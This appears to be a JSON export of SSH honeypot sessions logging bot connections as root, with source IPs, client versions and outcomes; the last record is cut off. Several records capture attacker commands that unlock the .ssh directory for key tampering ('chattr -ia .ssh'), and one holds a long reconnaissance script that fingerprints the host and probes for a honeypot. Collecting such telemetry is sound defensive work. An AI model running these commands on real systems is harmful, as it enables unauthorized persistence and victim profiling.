  "src_ip": "130.12.181.21",
  "src_port": 39314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:16:07.230223+00:00",
  "ended_at": "2026-08-25T11:16:08.699027+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed972a16-af6f-497d-afea-b36402c938e9",
  "name": "meadow-deft-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 60200,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:11:53.722722+00:00",
  "ended_at": "2026-08-25T11:15:54.047652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4bda5e27-ce48-4260-9791-c0ca1018a999",
  "name": "smooth-tranquil-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 38812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:07:05.046134+00:00",
  "ended_at": "2026-08-25T11:07:06.283946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6f467fc-4539-48c4-87a8-5630dfa2615d",
  "name": "frugal-quaint-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 42052,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:04:57.040547+00:00",
  "ended_at": "2026-08-25T11:04:57.886919+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43f2d8ef-f935-4481-a313-6f16d4f769a7",
  "name": "hazy-fabled-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 33934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:02:42.490855+00:00",
  "ended_at": "2026-08-25T11:02:44.219800+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "573f7024-fc35-481c-8ac1-e176b60c0bab",
  "name": "silent-fleeting-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 38994,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:58:09.522641+00:00",
  "ended_at": "2026-08-25T11:02:10.062814+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "a4c2a366-0a3b-4058-b8ad-09c910d1c807",
  "name": "dapper-merry-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.152.221.210",
  "src_port": 19616,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:54:58.014079+00:00",
  "ended_at": "2026-08-25T10:54:58.675591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93c7ef5f-713b-4469-9aed-075141e32be9",
  "name": "northern-marine-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 58406,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:47:58.982744+00:00",
  "ended_at": "2026-08-25T10:51:58.996009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 75
 },
 {
  "id": "fd236745-9623-40dc-b467-30a908b5ff47",
  "name": "hardy-cosmic-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.12.1.49",
  "src_port": 64201,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:39:08.043155+00:00",
  "ended_at": "2026-08-25T10:39:08.845772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2a926851-3dfb-4639-bdc5-a87da361a17e",
  "name": "supple-watchful-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.225.156.223",
  "src_port": 46392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "uname -s -m",
  "started_at": "2026-08-25T10:39:06.383195+00:00",
  "ended_at": "2026-08-25T10:39:06.479070+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 23
 },
 {
  "id": "b86c69e4-a83d-40ca-af65-46a2aef0c893",
  "name": "restless-lawful-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.225.156.223",
  "src_port": 46362,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:39:04.773489+00:00",
  "ended_at": "2026-08-25T10:39:05.556437+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33e50d0e-b1b1-4ccf-af0e-e4622825d5a2",
  "name": "steady-solemn-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.225.156.223",
  "src_port": 46352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:39:03.096104+00:00",
  "ended_at": "2026-08-25T10:39:04.393032+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ac98696-8bfa-4c0a-ada8-7f8b9c214463",
  "name": "wooded-nimble-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.225.156.223",
  "src_port": 54348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:39:01.874480+00:00",
  "ended_at": "2026-08-25T10:39:02.696182+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4953f530-47d2-4934-9453-1695fbe27c2b",
  "name": "inland-somber-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 49584,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:37:45.101608+00:00",
  "ended_at": "2026-08-25T10:41:45.628423+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "1a39da1d-05b8-47b4-9780-84cfa9d9eb66",
  "name": "deft-golden-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 37228,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:34:17.839414+00:00",
  "ended_at": "2026-08-25T10:38:18.437322+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "d0b966b0-eb2b-4363-8244-15dcbf1d2b1f",
  "name": "bold-gritty-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 53102,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:30:47.723435+00:00",
  "ended_at": "2026-08-25T10:34:47.931036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec2d23d2-793c-43b2-934a-e1308f1945ae",
  "name": "craggy-kindly-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 56634,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:24:00.066308+00:00",
  "ended_at": "2026-08-25T10:28:00.469189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51d023a0-841e-4a8b-ab70-7076c4447d6d",
  "name": "downy-languid-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 60162,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:17:12.845715+00:00",
  "ended_at": "2026-08-25T10:21:13.096526+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "7c1ef1d3-073e-4c44-a433-77dd563fd146",
  "name": "thorny-somber-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 19540,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:13:48.110111+00:00",
  "ended_at": "2026-08-25T10:13:49.194198+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6048b902-8ebc-4a79-946e-924ac94b7fc4",
  "name": "curious-brave-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 31316,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:05:41.166087+00:00",
  "ended_at": "2026-08-25T10:05:42.362824+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf54395d-03c6-422a-9603-bb85dc684c85",
  "name": "mindful-feathered-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 58414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T09:53:42.517234+00:00",
  "ended_at": "2026-08-25T09:57:42.533916+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "55f549f2-8b94-47f7-b82a-114c120eebac",
  "name": "sunlit-shaded-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 33704,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:46:47.808688+00:00",
  "ended_at": "2026-08-25T09:50:48.336100+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21fa9c74-9b0b-407b-b163-db92316ae4cb",
  "name": "electric-golden-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 53088,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:36:23.176463+00:00",
  "ended_at": "2026-08-25T09:40:23.747641+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6c60458-f837-477b-b996-47a248fc6448",
  "name": "feathered-quiet-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 44244,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T09:26:01.722636+00:00",
  "ended_at": "2026-08-25T09:30:01.757215+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 75
 },
 {
  "id": "3bb25c8e-e455-4e08-b774-f0cf8c387f5d",
  "name": "upland-gilded-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.231",
  "src_port": 44540,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:16:41.025994+00:00",
  "ended_at": "2026-08-25T09:16:41.343629+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8845d305-eadf-4c0c-8b0d-5a9c86b6e6dc",
  "name": "thrifty-frugal-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.26.106.13",
  "src_port": 63886,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:08:18.551080+00:00",
  "ended_at": "2026-08-25T09:08:19.753619+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a61a9ca5-ee0c-49f3-a3e5-378ac090c82b",
  "name": "feathered-windswept-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 54786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:05:10.854035+00:00",
  "ended_at": "2026-08-25T09:09:12.161466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4075a0ee-1858-454a-acc5-f1a593e69c73",
  "name": "orderly-cobalt-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.23",
  "src_port": 35780,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:54:38.062598+00:00",
  "ended_at": "2026-08-25T08:54:39.642907+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a386d0a0-bf03-4557-ad80-1d32166ecc97",
  "name": "smooth-silent-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.231",
  "src_port": 49930,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:54:24.061866+00:00",
  "ended_at": "2026-08-25T08:54:24.538955+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de92c785-2a38-4ecd-a281-ed6af1d51631",
  "name": "jagged-steady-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "98.70.50.166",
  "src_port": 46262,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:49:29.258811+00:00",
  "ended_at": "2026-08-25T08:49:30.470086+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f6eb696-5724-427a-93db-184cbb6af457",
  "name": "nameless-buoyant-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 59818,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:44:54.362664+00:00",
  "ended_at": "2026-08-25T08:44:55.217367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f5bf98b-92d2-423e-9dea-5519afb9c692",
  "name": "early-graceful-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 32630,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:40:15.775378+00:00",
  "ended_at": "2026-08-25T08:40:17.693820+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39146097-b684-476f-96dd-a960c1254186",
  "name": "brave-silent-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.231",
  "src_port": 63734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:30:20.747568+00:00",
  "ended_at": "2026-08-25T08:30:22.397687+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47a20bb1-1dc2-481c-a8c7-e091e1db82a6",
  "name": "peaty-downy-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.225",
  "src_port": 32184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:25:48.648812+00:00",
  "ended_at": "2026-08-25T08:25:49.403616+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d39f59e-b22e-44bd-9a83-6f589255f3d1",
  "name": "frank-craggy-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 43736,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:08:08.783863+00:00",
  "ended_at": "2026-08-25T08:08:09.888241+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "785194a1-9149-40d8-8fc2-a2d017d6c859",
  "name": "dutiful-fabled-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 58954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:00:52.034677+00:00",
  "ended_at": "2026-08-25T08:00:52.498363+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bc664c95-6b0f-4288-978f-111b393ce6b9",
  "name": "brave-regal-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 52110,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T07:51:44.461656+00:00",
  "ended_at": "2026-08-25T07:51:44.813365+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc65e043-2163-4df0-996f-d9ef4e71eb2a",
  "name": "graceful-opal-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "85.11.167.239",
  "src_port": 28370,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T07:45:21.886166+00:00",
  "ended_at": "2026-08-25T07:45:23.686228+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "41d0c471-eaee-4678-aa21-9a62a5bf3cad",
  "name": "scarlet-thorny-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 41068,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T07:41:15.469695+00:00",
  "ended_at": "2026-08-25T07:41:15.926505+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7907fcb3-c2c4-4938-a692-040fd1c761b5",
  "name": "fickle-clever-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 26334,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T07:23:30.693117+00:00",
  "ended_at": "2026-08-25T07:23:31.044859+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14a86889-55b5-468a-af64-2df467fdb624",
  "name": "ivory-idle-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 45110,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T07:15:19.454116+00:00",
  "ended_at": "2026-08-25T07:15:20.193452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a29ccb0c-51fe-4086-9600-d0e3c9fa70b4",
  "name": "fleeting-feral-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 19616,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T06:22:12.319193+00:00",
  "ended_at": "2026-08-25T06:22:14.678514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "feff3d29-93bb-4366-9ed0-6aa9b9157174",
  "name": "crimson-faded-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.24.211.204",
  "src_port": 10624,
  "username": "root",
  "client_version": "SSH-2.0-libssh2_1.11.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T05:43:02.304213+00:00",
  "ended_at": "2026-08-25T05:43:02.749192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5744bda-a742-4a28-8d89-5573afb36a12",
  "name": "shifting-marine-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.24.211.204",
  "src_port": 52544,
  "username": "root",
  "client_version": "SSH-2.0-libssh2_1.11.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T05:01:17.280714+00:00",
  "ended_at": "2026-08-25T05:01:18.154641+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6102a33-c69e-40bf-9703-979f0ab02813",
  "name": "sandy-wandering-rook",
  "protocol": "ssh",
  "channel_kind": "shell",
  "src_ip": "45.153.34.243",
  "src_port": 35566,
  "username": "root",
  "client_version": "SSH-2.0-russh_0.51.1",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T04:50:18.041016+00:00",
  "ended_at": "2026-08-25T04:50:24.420816+00:00",
  "ended_reason": "no channel opened",
  "commands": 1,
  "transcript_bytes": 36
 },
 {
  "id": "2d7f44cb-85fd-42b0-a550-93f86a4772cf",
  "name": "ruddy-pewter-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.191.5",
  "src_port": 56976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:00:24.863146+00:00",
  "ended_at": "2026-08-25T03:00:26.229063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c81b3f39-3c06-4cf3-bf44-c3e4345d6be2",
  "name": "serene-icy-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 35394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 